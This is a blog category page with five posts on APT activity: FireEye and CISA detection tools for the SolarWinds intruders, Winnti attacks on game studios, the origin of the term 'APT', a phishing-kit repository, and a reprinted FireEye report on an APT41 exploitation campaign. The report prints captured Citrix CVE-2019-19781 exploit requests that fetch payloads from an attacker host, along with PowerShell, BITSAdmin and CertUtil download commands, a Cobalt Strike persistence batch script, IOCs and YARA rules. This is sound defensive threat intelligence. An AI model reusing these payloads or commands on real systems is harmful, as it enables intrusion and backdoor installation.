Category Archives: APT

FireEye releases an auditing tool to detect SolarWinds hackers’ activity

Cybersecurity firm FireEye has released a report that sheds the light on the SolarWinds attack and the way hackers breached its networks.

Cybersecurity firm FireEye has released a report that sheds the light on the SolarWinds attack and the way hackers breached its networks.

The experts explained how the UNC2452 and other threat actors breached the infrastructure and moved laterally from on-premises networks to the Microsoft 365 cloud. The paper, titled Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452 also provides tips for organizations on how proactively harden their environments.

FireEye also released a tool named Azure AD Investigator that could be used by organizations to discover if their organization has been breached by the SolarWinds hackers, tracked by the security firm as UNC2452.

This FireEye GitHub repository contains a PowerShell module that can be used to detect artifacts associated with the UNC2452’s intrusion and other threat actor activity.

“Some indicators are “high-fidelity” indicators of compromise, while other artifacts are so called “dual-use” artifacts.” states FireEye. “Dual-use artifacts may be related to threat actor activity, but also may be related to legitimate functionality. Analysis and verification will be required for these.”

FireEye pointed out that the tool is read-only, which means that it does not make any changes to the Microsoft 365 environment.

The company warns that the tool could not identify a compromise 100% of the time, and is not able to distinguish if an artifact is the result of a legitimate admin activity or threat actor activity.

Mandiant researchers explained that UNC2452 and other threat actors primarily used four techniques for lateral movements:

  1. Steal the Active Directory Federation Services (AD FS) token-signing certificate and use it to forge tokens for arbitrary users (sometimes described as Golden SAML). This would allow the attacker to authenticate into a federated resource provider (such as Microsoft 365) as any user, without the need for that user’s password or their corresponding multi-factor authentication (MFA) mechanism.
  2. Modify or add trusted domains in Azure AD to add a new federated Identity Provider (IdP) that the attacker controls. This would allow the attacker to forge tokens for arbitrary users and has been described as an Azure AD backdoor.
  3. Compromise the credentials of on-premises user accounts that are synchronized to Microsoft 365 that have high privileged directory roles, such as Global Administrator or Application Administrator.
  4. Backdoor an existing Microsoft 365 application by adding a new application or service principal credential in order to use the legitimate permissions assigned to the application, such as the ability to read email, send email as an arbitrary user, access user calendars, etc.

The Cybersecurity and Infrastructure Security Agency (CISA)’s Cloud Forensics team has also released a PowerShell-based tool, dubbed Sparrow, that can that helps administrators to detect anomalies and potentially malicious activities in Azure/Microsoft 365 environments.

CrowdStrike experts also decided to create their own tool because they face difficulties in using Azure’s administrative tools to enumerate privileges assigned to third-party resellers and partners in their Azure tenant.

“CrowdStrike launches CrowdStrike Reporting Tool for Azure (CRT), a free community tool that will help organizations quickly and easily review excessive permissions in their Azure AD environments, help determine configuration weaknesses, and provide advice to mitigate risk.” states the security firm.

“Throughout our analysis, we experienced first hand the difficulties customers face in managing Azure’s administrative tools to know what relationships and permissions exist within Azure tenants, particularly with third-party partner/resellers, and how to quickly enumerate them. We found it particularly challenging that many of the steps required to investigate are not documented, there was an inability to audit via API, and there is the requirement for global admin rights to view important information which we found to be excessive. Key information should be easily accessible.”

The CrowdStrike Reporting Tool for Azure (CRT) tool could be used by administrators to analyze their Microsoft Azure environment and review the privileges assigned to third-party resellers and partners.

If you want to receive the weekly Security Affairs Newsletter for free subscribe here.

Pierluigi Paganini

(SecurityAffairs – hacking, SolarWinds APT)

The post FireEye releases an auditing tool to detect SolarWinds hackers’ activity appeared first on Security Affairs.

Winnti APT continues to target game developers in Russia and abroad

A Chinese Threat actor targeted organizations in Russia and Hong Kong with a previously undocumented backdoor, experts warn.

Cybersecurity researchers from Positive Technologies have uncovered a series of attacks conducted by a Chinese threat actor that aimed at organizations in Russia and Hong Kong. Experts attribute the attacks to the China-linked Winnti APT group (aka APT41) and reported that the attackers used a previously undocumented backdoor in the attacks.

The Winnti group was first spotted by Kaspersky in 2013, but according to the researchers the gang has been active since 2007.

The experts believe that under the Winnti umbrella there are several APT groups, including  Winnti, Gref, PlayfullDragon, APT17, DeputyDog, Axiom, BARIUM, LEADPassCV, Wicked Panda, Group 72, Blackfly, and APT41, and ShadowPad.

The APT group targeted organizations in various industries, including the aviation, gaming, pharmaceuticals, technology, telecoms, and software development industries.

The recent attacks documented by Positive Technologies were first spotted on May 12, 2020, at the time the experts detected several samples of the new malware that were initially incorrectly attributed to the Higaisa threat actors. Investigating the attack, the experts discover a number of new malware samples used by the attackers, including various droppers, loaders, and injectors. The attackers also used Crosswalk, ShadowPad, and PlugX backdoors, but security researchers also noticed a sample of a previously undocumented backdoor that they dubbed FunnySwitch.

In the first attack, the threat actors used LNK shortcuts to extract and run the malware payload, while in the second attack detected on May 30, the threat actor used a malicious archive (CV_Colliers.rar) containing the shortcuts to two bait PDF documents with a CV and IELTS certificate.

The LNK files contain links to target pages hosted on Zeplin, a legitimate collaboration services between designers and developers.

The payload consists of two files, the svchast.exe that acts as a simple local shellcode loader, and ‘3t54dE3r.tmp’ that is the shellcode containing the main payload (the Crosswalk malware).

The Crosswalk was first spotted by researchers from FireEye in 2017 Crosswalk and included in an analysis of the activities associated with the APT41 (Winnti) group. The malware is a modular backdoor that implements system reconnaissance capabilities and is able to deliver additional payloads.

Experts also discovered a significant overlap of the network infrastructure with the APT41’s infrastructure.

“The network infrastructure of the samples overlaps with previously known APT41 infrastructure: at the IP address of one of the C2 servers, we find an SSL certificate with SHA-1 value of b8cff709950cfa86665363d9553532db9922265c, which is also found at IP address 67.229.97[.]229, referenced in a 2018 CrowdStrike report. Going further, we can find domains from a Kaspersky report written in 2013.” reads the report published by Positive Technologies. “All this leads us to conclude that these LNK file attacks were performed by Winnti (APT41), which “borrowed” this shortcut technique from Higaisa.”

Winnti infrastructure

The Winnti group focus on computer game industry, in the past they targeted game developers and recently they hit Russian companies in the same industry. The targets of the recent attacks include Battlestate Games, a Unity3D game developer from St. Petersburg.

On June, the researchers detected an active HttpFileServer on one of the active C2 servers. The HFS was containing an email icon, screenshot from a game with Russian text, screenshot of the site of a game development company, and a screenshot of information about vulnerability CVE-2020-0796 from the Microsoft website. The files were used two months later, on August 20, 2020, in attacks that also leveraged a self-contained loader for Cobalt Strike Beacon PL shellcode.

The discovery lead the experts into believing that they detected traces of preparation for, and subsequent successful implementation of, an attack on Battlestate Games.

“Winnti continues to pursue game developers and publishers in Russia and elsewhere. Small studios tend to neglect information security, making them a tempting target. Attacks on software developers are especially dangerous for the risk they pose to end users, as already happened in the well-known cases of CCleaner and ASUS. By ensuring timely detection and investigation of breaches, companies can avoid becoming victims of such a scenario.” concludes the report.

If you want to receive the weekly Security Affairs Newsletter for free subscribe here.

Pierluigi Paganini

(SecurityAffairs – hacking, Winnti APT)

The post Winnti APT continues to target game developers in Russia and abroad appeared first on Security Affairs.

Greg Rattray Invented the Term Advanced Persistent Threat

 



I was so pleased to read this Tweet yesterday from Greg Rattray:

"Back in 2007, I coined the term “Advanced Persistent Threat” to characterize emerging adversaries that we needed to work with the defense industrial base to deal with... Since then both the APT term and the nature of our adversaries have evolved. What hasn’t changed is that in cyberspace, advanced attackers will persistently go after targets with assets they want, no matter the strength of defenses."

Background


First, some background. Who is Greg Rattray?

First, you could call him Colonel or Doctor. I will use Col as that was the last title I used with him, although these days when we chat I call him Greg. 

Col Rattray served 21 years in the Air Force and also earned his PhD in international security from Tufts University. His thesis formed the content for his 2001 book Strategic Warfare in Cyberspace, which I reviewed in 2002 and rated 4 stars. (Ouch -- I was a bit stingy with the stars back then. I was more of an operator and less of a theorist or historian in those days. Such was my bias I suppose.)

Col Rattray is also a 1984 graduate of the Air Force Academy. He studied history and political science there and returned as an assistant professor in the early 1990s. He was one of my instructors when I was a cadet there. (I graduated in 1994 with degrees in history and political science.) Col Rattray then earned a master of public policy degree at Harvard Kennedy School. (I did the same, in 1996.) 

Do you see a pattern here? He is clearly a role model. Of course, I did not stay in the Air Force as long, earn the same rank, or survive my PhD program!

After the Academy, Col Rattray served as commander of the 23rd Information Operations Squadrons on Security Hill in San Antonio, Texas. I was working in the AFCERT at the time. 

One of the last duties I had in uniform was to travel to Nellis AFB outside Las Vegas and participate in a doctrine writing project for information warfare. At the time I was not a fan of the idea, but Col Rattray convinced me someone needed to write down how we did computer network defense in the AFCERT. 

He didn't order me to participate, which I always appreciated. Years later I told him it was a good idea to organize that project and that I was probably just grumpy because of the way the Air Force personnel system had treated me at the end of my military career.

Why The Tweet Matters


For years I've had to dance around the issue of who invented the term "APT." In most narratives I say that an Air Force colonel invented the term in 2006. I based this on discussions I had with colleagues in the defense industrial base who were working with said colonel and his team from the Air Force. I did not know back then that it was Col Rattray and his team from the Air Force Information Warfare Center. 

Years later I learned of Rattray's role, but not directly from him. Only this year did Col Rattray confirm to me that he had invented the term, and that 2007 was the correct year. I encouraged him to say something, because as an historian I appreciate the value of facts and narrative. As I Tweeted after seeing Greg's Tweet:

"Security, like any other field, has HISTORY, which means there are beginnings, and stories, and discoveries, and innovators, and leaders, and first steps, and pioneers. I'm so pleased to see people like @GregRattray_ feel comfortable enough after all these years to say something."

I don't think many people in the security field think about history. Security tends to be obsessed with the "new" and the "shiny." Not enough people wonder how we got to this point, or what decisions led to the current situation. The security scene in 2020 is very different from the scene in 1960, or 1970, or 1980, or 1990, or 2000, or even 2010. This is not the time to describe how or why that is the case. I'm just glad a very important piece of the puzzle is now public.

More on the APT



If you'd like to learn more about this history of the APT, check out my newest book -- The Best of TaoSecurity Blog, Volume 2. I devote an entire chapter to blog posts and new commentary on the APT. Volume 1 arrived a few months before this new book, and I'm working on Volume 3 now.

Tracking PhishingKits for Hunting APT Evolution

Advanced and Persistent Threats are often inoculated by emails or by exploiting exposed vulnerabilities. Since vulnerability exploitation follows specific waves, it depends on vulnerability trends, the email vector become one of the most (ab)used and stable way to inoculate Malicious and unwanted software. A common way to attack victims is to make her open an eMail attachment using common social engineering techniques. For example attackers pretending to be candidate asking to HR manager to open up the “attached curriculum”, or a customer that is asking for special products or information included on a well-crafted Word document, or again attackers pretending to be friends asking for favors, or new customers asking for price lists in a malicious and attached Microsoft Excel, are only some of the (almost) infinite ways to make someone opening an attachment.

But something is slowly changing.

While Phishing was quite underestimated (so far) from Malware analysts working on state sponsored cyber attacks, since Phishing was mostly a used technique to steal credentials by criminal groups, nowadays it is increasingly used from state sponsored attackers to spread Malware (for example Android APP) and to steal credentials to start over a pre-failed attack gaining wider victim surface. Many researcher groups already noticed that slow moving from email attachments to phishing campaign, for example CheckPoint researchers in their great report on Rampant Kitten (rif: HERE) show in section “Infrastructure and Connection” (Figure 9) a nice Phishing infrastructure and the FBI in ME-000134-MW warns about both phishing and eMail attachments as well. But those are only some of many example you can find out there by reading reports and analyses from common researcher groups.

For such a reasons I believe phishing, and mostly important PhishingKits need to be studied and tracked even by cyber security analysts who dedicated their own effort on APT rather on criminality. Just to provide some information about how to track phishingkit I would share some of my tweets on the topic just to show how different they are from each other and how complex they could be.

If you agree with me that PhishingKit would play a nice role in the next few years even in the APT world and if you want to help community to analyze and to report them as quickly as you can, you might decide to start from HERE: a freshly updated repository of PhishingKit. In there you would find more than 600 archives (as today, but every day that number would increase as soon as new PK are detected by my backend system which is running and pushing on git repo) containing source code of many PhishingKits, some of them used in APT, some other used in common credential stealing campaign. You would learn how they evade detection (it’s unbelievable how some criminal implements anti-detection code 😀 ) how they call themselves and how they write codes and how administrator panels look like. If you start a deep analysis on that data you would probably be able to group by author and later on, by clustering on such results, you would be able to wrap and track author style and change over the time. That would be super interesting to track the evolution and to being in control of PK to community to gain a safer digital space.

If you think this work is worth of spreading, please go ahead, and if you use that collections and the scripts in the repository for your research, please cite it using the following BiBText section.

@misc{ MR,
       author = "Marco Ramilli",
       title = "Phishing Kits Tracker",
       year = "2020",
       url = "https://marcoramilli.com/2020/07/13/introducing-phishingkittracker/",
       note = "[Online; July 2020]"
     }

This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits

Beginning this year, FireEye observed Chinese actor APT41 carry out one of the broadest campaigns by a Chinese cyber espionage actor we have observed in recent years. Between January 20 and March 11, FireEye observed APT41 attempt to exploit vulnerabilities in Citrix NetScaler/ADC, Cisco routers, and Zoho ManageEngine Desktop Central at over 75 FireEye customers. Countries we’ve seen targeted include Australia, Canada, Denmark, Finland, France, India, Italy, Japan, Malaysia, Mexico, Philippines, Poland, Qatar, Saudi Arabia, Singapore, Sweden, Switzerland, UAE, UK and USA. The following industries were targeted: Banking/Finance, Construction, Defense Industrial Base, Government, Healthcare, High Technology, Higher Education, Legal, Manufacturing, Media, Non-profit, Oil & Gas, Petrochemical, Pharmaceutical, Real Estate, Telecommunications, Transportation, Travel, and Utility. It’s unclear if APT41 scanned the Internet and attempted exploitation en masse or selected a subset of specific organizations to target, but the victims appear to be more targeted in nature.

Exploitation of CVE-2019-19781 (Citrix Application Delivery Controller [ADC])

Starting on January 20, 2020, APT41 used the IP address 66.42.98[.]220 to attempt exploits of Citrix Application Delivery Controller (ADC) and Citrix Gateway devices with CVE-2019-19781 (published December 17, 2019).


Figure 1: Timeline of key events

The initial CVE-2019-19781 exploitation activity on January 20 and January 21, 2020, involved execution of the command ‘file /bin/pwd’, which may have achieved two objectives for APT41. First, it would confirm whether the system was vulnerable and the mitigation wasn’t applied. Second, it may return architecture-related information that would be required knowledge for APT41 to successfully deploy a backdoor in a follow-up step.  

One interesting thing to note is that all observed requests were only performed against Citrix devices, suggesting APT41 was operating with an already-known list of identified devices accessible on the internet.

POST /vpns/portal/scripts/newbm.pl HTTP/1.1
Host: [redacted]
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
NSC_NONCE: nsroot
NSC_USER: ../../../netscaler/portal/templates/[redacted]
Content-Length: 96

url=http://example.com&title=[redacted]&desc=[% template.new('BLOCK' = 'print `file /bin/pwd`') %]

Figure 2: Example APT41 HTTP traffic exploiting CVE-2019-19781

There is a lull in APT41 activity between January 23 and February 1, which is likely related to the Chinese Lunar New Year holidays which occurred between January 24 and January 30, 2020. This has been a common activity pattern by Chinese APT groups in past years as well.

Starting on February 1, 2020, APT41 moved to using CVE-2019-19781 exploit payloads that initiate a download via the File Transfer Protocol (FTP). Specifically, APT41 executed the command ‘/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/bsd’, which connected to 66.42.98[.]220 over the FTP protocol, logged in to the FTP server with a username of ‘test’ and a password that we have redacted, and then downloaded an unknown payload named ‘bsd’ (which was likely a backdoor).

POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Accept-Encoding: identity
Content-Length: 147
Connection: close
Nsc_User: ../../../netscaler/portal/templates/[redacted]
User-Agent: Python-urllib/2.7
Nsc_Nonce: nsroot
Host: [redacted]
Content-Type: application/x-www-form-urlencoded

url=http://example.com&title=[redacted]&desc=[% template.new('BLOCK' = 'print `/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/bsd`') %]

Figure 3: Example APT41 HTTP traffic exploiting CVE-2019-19781

We did not observe APT41 activity at FireEye customers between February 2 and February 19, 2020. China initiated COVID-19 related quarantines in cities in Hubei province starting on January 23 and January 24, and rolled out quarantines to additional provinces starting between February 2 and February 10. While it is possible that this reduction in activity might be related to the COVID-19 quarantine measures in China, APT41 may have remained active in other ways, which we were unable to observe with FireEye telemetry. We observed a significant uptick in CVE-2019-19781 exploitation on February 24 and February 25. The exploit behavior was almost identical to the activity on February 1, where only the name of the payload ‘un’ changed.

POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Accept-Encoding: identity
Content-Length: 145
Connection: close
Nsc_User: ../../../netscaler/portal/templates/[redacted]
User-Agent: Python-urllib/2.7
Nsc_Nonce: nsroot
Host: [redacted]
Content-Type: application/x-www-form-urlencoded

url=http://example.com&title= [redacted]&desc=[% template.new('BLOCK' = 'print `/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/un`') %]

Figure 4: Example APT41 HTTP traffic exploiting CVE-2019-19781

Citrix released a mitigation for CVE-2019-19781 on December 17, 2019, and as of January 24, 2020, released permanent fixes for all supported versions of Citrix ADC, Gateway, and SD-WAN WANOP.

Cisco Router Exploitation

On February 21, 2020, APT41 successfully exploited a Cisco RV320 router at a telecommunications organization and downloaded a 32-bit ELF binary payload compiled for a 64-bit MIPS processor named ‘fuc’ (MD5: 155e98e5ca8d662fad7dc84187340cbc). It is unknown what specific exploit was used, but there is a Metasploit module that combines two CVE’s (CVE-2019-1653 and CVE-2019-1652) to enable remote code execution on Cisco RV320 and RV325 small business routers and uses wget to download the specified payload.

GET /test/fuc
HTTP/1.1
Host: 66.42.98\.220
User-Agent: Wget
Connection: close

Figure 5: Example HTTP request showing Cisco RV320 router downloading a payload via wget

66.42.98[.]220 also hosted a file name http://66.42.98[.]220/test/1.txt. The content of 1.txt (MD5:  c0c467c8e9b2046d7053642cc9bdd57d) is ‘cat /etc/flash/etc/nk_sysconfig’, which is the command one would execute on a Cisco RV320 router to display the current configuration.

Cisco PSIRT confirmed that fixed software to address the noted vulnerabilities is available and asks customers to review the following security advisories and take appropriate action:

Exploitation of CVE-2020-10189 (Zoho ManageEngine Zero-Day Vulnerability)

On March 5, 2020, researcher Steven Seeley, published an advisory and released proof-of-concept code for a zero-day remote code execution vulnerability in Zoho ManageEngine Desktop Central versions prior to 10.0.474 (CVE-2020-10189). Beginning on March 8, FireEye observed APT41 use 91.208.184[.]78 to attempt to exploit the Zoho ManageEngine vulnerability at more than a dozen FireEye customers, which resulted in the compromise of at least five separate customers. FireEye observed two separate variations of how the payloads (install.bat and storesyncsvc.dll) were deployed. In the first variation the CVE-2020-10189 exploit was used to directly upload “logger.zip”, a simple Java based program, which contained a set of commands to use PowerShell to download and execute install.bat and storesyncsvc.dll.

java/lang/Runtime

getRuntime

()Ljava/lang/Runtime;

Xcmd /c powershell $client = new-object System.Net.WebClient;$client.DownloadFile('http://66.42.98[.]220:12345/test/install.bat','C:\
Windows\Temp\install.bat')&powershell $client = new-object System.Net.WebClient;$client.DownloadFile('http://66.42.98[.]220:12345/test/storesyncsvc.dll','
C:\Windows\Temp\storesyncsvc.dll')&C:\Windows\Temp\install.bat

'(Ljava/lang/String;)Ljava/lang/Process;

StackMapTable

ysoserial/Pwner76328858520609

Lysoserial/Pwner76328858520609;

Figure 6: Contents of logger.zip

Here we see a toolmark from the tool ysoserial that was used to create the payload in the POC. The string Pwner76328858520609 is unique to the POC payload, indicating that APT41 likely used the POC as source material in their operation.

In the second variation, FireEye observed APT41 leverage the Microsoft BITSAdmin command-line tool to download install.bat (MD5: 7966c2c546b71e800397a67f942858d0) from known APT41 infrastructure 66.42.98[.]220 on port 12345.

Parent Process: C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe

Process Arguments: cmd /c bitsadmin /transfer bbbb http://66.42.98[.]220:12345/test/install.bat C:\Users\Public\install.bat

Figure 7: Example FireEye Endpoint Security event depicting successful CVE-2020-10189 exploitation

In both variations, the install.bat batch file was used to install persistence for a trial-version of Cobalt Strike BEACON loader named storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f).

@echo off

set "WORK_DIR=C:\Windows\System32"

set "DLL_NAME=storesyncsvc.dll"

set "SERVICE_NAME=StorSyncSvc"

set "DISPLAY_NAME=Storage Sync Service"

set "DESCRIPTION=The Storage Sync Service is the top-level resource for File Sync. It creates sync relationships with multiple storage accounts via multiple sync groups. If this service is stopped or disabled, applications will be unable to run collectly."

 sc stop %SERVICE_NAME%

sc delete %SERVICE_NAME%

mkdir %WORK_DIR%

copy "%~dp0%DLL_NAME%" "%WORK_DIR%" /Y

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v "%SERVICE_NAME%" /t REG_MULTI_SZ /d "%SERVICE_NAME%" /f

sc create "%SERVICE_NAME%" binPath= "%SystemRoot%\system32\svchost.exe -k %SERVICE_NAME%" type= share start= auto error= ignore DisplayName= "%DISPLAY_NAME%"

SC failure "%SERVICE_NAME%" reset= 86400 actions= restart/60000/restart/60000/restart/60000

sc description "%SERVICE_NAME%" "%DESCRIPTION%"

reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /f

reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /v "ServiceDll" /t REG_EXPAND_SZ /d "%WORK_DIR%\%DLL_NAME%" /f

net start "%SERVICE_NAME%"

Figure 8: Contents of install.bat

Storesyncsvc.dll was a Cobalt Strike BEACON implant (trial-version) which connected to exchange.dumb1[.]com (with a DNS resolution of 74.82.201[.]8) using a jquery malleable command and control (C2) profile.

GET /jquery-3.3.1.min.js HTTP/1.1
Host: cdn.bootcss.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://cdn.bootcss.com/
Accept-Encoding: gzip, deflate
Cookie: __cfduid=CdkIb8kXFOR_9Mn48DQwhIEuIEgn2VGDa_XZK_xAN47OjPNRMpJawYvnAhPJYM
DA8y_rXEJQGZ6Xlkp_wCoqnImD-bj4DqdTNbj87Rl1kIvZbefE3nmNunlyMJZTrDZfu4EV6oxB8yKMJfLXydC5YF9OeZwqBSs3Tun12BVFWLI
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
Connection: Keep-Alive Cache-Control: no-cache

Figure 9: Example APT41 Cobalt Strike BEACON jquery malleable C2 profile HTTP request

Within a few hours of initial exploitation, APT41 used the storescyncsvc.dll BEACON backdoor to download a secondary backdoor with a different C2 address that uses Microsoft CertUtil, a common TTP that we’ve observed APT41 use in past intrusions, which they then used to download 2.exe (MD5: 3e856162c36b532925c8226b4ed3481c). The file 2.exe was a VMProtected Meterpreter downloader used to download Cobalt Strike BEACON shellcode. The usage of VMProtected binaries is another very common TTP that we’ve observed this group leverage in multiple intrusions in order to delay analysis of other tools in their toolkit.

GET /2.exe HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.3
Host: 91.208.184[.]78

Figure 10: Example HTTP request downloading ‘2.exe’ VMProtected Meterpreter downloader via CertUtil

certutil  -urlcache -split -f http://91.208.184[.]78/2.exe

Figure 11: Example CertUtil command to download ‘2.exe’ VMProtected Meterpreter downloader

The Meterpreter downloader ‘TzGG’ was configured to communicate with 91.208.184[.]78 over port 443 to download the shellcode (MD5: 659bd19b562059f3f0cc978e15624fd9) for Cobalt Strike BEACON (trial-version).

GET /TzGG HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)
Host: 91.208.184[.]78:443
Connection: Keep-Alive
Cache-Control: no-cache

Figure 12: Example HTTP request downloading ‘TzGG’ shellcode for Cobalt Strike BEACON

The downloaded BEACON shellcode connected to the same C2 server: 91.208.184[.]78. We believe this is an example of the actor attempting to diversify post-exploitation access to the compromised systems.

ManageEngine released a short term mitigation for CVE-2020-10189 on January 20, 2020, and subsequently released an update on March 7, 2020, with a long term fix.

Outlook

This activity is one of the most widespread campaigns we have seen from China-nexus espionage actors in recent years. While APT41 has previously conducted activity with an extensive initial entry such as the trojanizing of NetSarang software, this scanning and exploitation has focused on a subset of our customers, and seems to reveal a high operational tempo and wide collection requirements for APT41.

It is notable that we have only seen these exploitation attempts leverage publicly available malware such as Cobalt Strike and Meterpreter. While these backdoors are full featured, in previous incidents APT41 has waited to deploy more advanced malware until they have fully understood where they were and carried out some initial reconnaissance. In 2020, APT41 continues to be one of the most prolific threats that FireEye currently tracks. This new activity from this group shows how resourceful and how quickly they can leverage newly disclosed vulnerabilities to their advantage.

Previously, FireEye Mandiant Managed Defense identified APT41 successfully leverage CVE-2019-3396 (Atlassian Confluence) against a U.S. based university. While APT41 is a unique state-sponsored Chinese threat group that conducts espionage, the actor also conducts financially motivated activity for personal gain.

Indicators

Type

Indicator(s)

CVE-2019-19781 Exploitation (Citrix Application Delivery Control)

66.42.98[.]220

CVE-2019-19781 exploitation attempts with a payload of ‘file /bin/pwd’

CVE-2019-19781 exploitation attempts with a payload of ‘/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/bsd’

CVE-2019-19781 exploitation attempts with a payload of ‘/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/un’

/tmp/bsd

/tmp/un

Cisco Router Exploitation

66.42.98\.220

‘1.txt’ (MD5:  c0c467c8e9b2046d7053642cc9bdd57d)

‘fuc’ (MD5: 155e98e5ca8d662fad7dc84187340cbc

CVE-2020-10189 (Zoho ManageEngine Desktop Central)

66.42.98[.]220

91.208.184[.]78

74.82.201[.]8

exchange.dumb1[.]com

install.bat (MD5: 7966c2c546b71e800397a67f942858d0)

storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f)

C:\Windows\Temp\storesyncsvc.dll

C:\Windows\Temp\install.bat

2.exe (MD5: 3e856162c36b532925c8226b4ed3481c)

C:\Users\[redacted]\install.bat

TzGG (MD5: 659bd19b562059f3f0cc978e15624fd9)

C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe spawning cmd.exe and/or bitsadmin.exe

Certutil.exe downloading 2.exe and/or payloads from 91.208.184[.]78

PowerShell downloading files with Net.WebClient

Detecting the Techniques

FireEye detects this activity across our platforms. This table contains several specific detection names from a larger list of detections that were available prior to this activity occurring.

Platform

Signature Name

Endpoint Security

 

BITSADMIN.EXE MULTISTAGE DOWNLOADER (METHODOLOGY)

CERTUTIL.EXE DOWNLOADER A (UTILITY)

Generic.mg.5909983db4d9023e

Generic.mg.3e856162c36b5329

POWERSHELL DOWNLOADER (METHODOLOGY)

SUSPICIOUS BITSADMIN USAGE B (METHODOLOGY)

SAMWELL (BACKDOOR)

SUSPICIOUS CODE EXECUTION FROM ZOHO MANAGE ENGINE (EXPLOIT)

Network Security

Backdoor.Meterpreter

DTI.Callback

Exploit.CitrixNetScaler

Trojan.METASTAGE

Exploit.ZohoManageEngine.CVE-2020-10198.Pwner

Exploit.ZohoManageEngine.CVE-2020-10198.mdmLogUploader

Helix

CITRIX ADC [Suspicious Commands]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Exploit Attempt]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Exploit Success]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Payload Access]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Scanning]
 MALWARE METHODOLOGY [Certutil User-Agent]
 WINDOWS METHODOLOGY [BITSadmin Transfer]
 WINDOWS METHODOLOGY [Certutil Downloader]

MITRE ATT&CK Technique Mapping

ATT&CK

Techniques

Initial Access

External Remote Services (T1133), Exploit Public-Facing Application (T1190)

Execution

PowerShell (T1086), Scripting (T1064)

Persistence

New Service (T1050)

 

Privilege Escalation

Exploitation for Privilege Escalation (T1068)

 

Defense Evasion

BITS Jobs (T1197), Process Injection (T1055)

 

 

Command And Control

Remote File Copy (T1105), Commonly Used Port (T1436), Uncommonly Used Port (T1065), Custom Command and Control Protocol (T1094), Data Encoding (T1132), Standard Application Layer Protocol (T1071)

Appendix A: Discovery Rules

The following Yara rules serve as examples of discovery rules for APT41 actor TTPs, turning the adversary methods or tradecraft into new haystacks for purposes of detection or hunting. For all tradecraft-based discovery rules, we recommend deliberate testing and tuning prior to implementation in any production system. Some of these rules are tailored to build concise haystacks that are easy to review for high-fidelity detections. Some of these rules are broad in aperture that build larger haystacks for further automation or processing in threat hunting systems.

import "pe"

rule ExportEngine_APT41_Loader_String

{

            meta:

                        author = "@stvemillertime"

                        description "This looks for a common APT41 Export DLL name in BEACON shellcode loaders, such as loader_X86_svchost.dll"

            strings:

                        $pcre = /loader_[\x00-\x7F]{1,}\x00/

            condition:

                        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))

}

rule ExportEngine_ShortName

{

    meta:

        author = "@stvemillertime"

        description = "This looks for Win PEs where Export DLL name is a single character"

    strings:

        $pcre = /[A-Za-z0-9]{1}\.(dll|exe|dat|bin|sys)/

    condition:

        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))

}

rule ExportEngine_xArch

{

    meta:

        author = "@stvemillertime"

        description = "This looks for Win PEs where Export DLL name is a something like x32.dat"

            strings:

             $pcre = /[\x00-\x7F]{1,}x(32|64|86)\.dat\x00/

            condition:

             uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))

}

rule RareEquities_LibTomCrypt

{

    meta:

        author = "@stvemillertime"

        description = "This looks for executables with strings from LibTomCrypt as seen by some APT41-esque actors https://github.com/libtom/libtomcrypt - might catch everything BEACON as well. You may want to exclude Golang and UPX packed samples."

    strings:

        $a1 = "LibTomMath"

    condition:

        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $a1

}

rule RareEquities_KCP

{

    meta:

        author = "@stvemillertime"

        description = "This is a wide catchall rule looking for executables with equities for a transport library called KCP, https://github.com/skywind3000/kcp Matches on this rule may have built-in KCP transport ability."

    strings:

        $a01 = "[RO] %ld bytes"

        $a02 = "recv sn=%lu"

        $a03 = "[RI] %d bytes"

        $a04 = "input ack: sn=%lu rtt=%ld rto=%ld"

        $a05 = "input psh: sn=%lu ts=%lu"

        $a06 = "input probe"

        $a07 = "input wins: %lu"

        $a08 = "rcv_nxt=%lu\\n"

        $a09 = "snd(buf=%d, queue=%d)\\n"

        $a10 = "rcv(buf=%d, queue=%d)\\n"

        $a11 = "rcvbuf"

    condition:

        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and filesize < 5MB and 3 of ($a*)

}

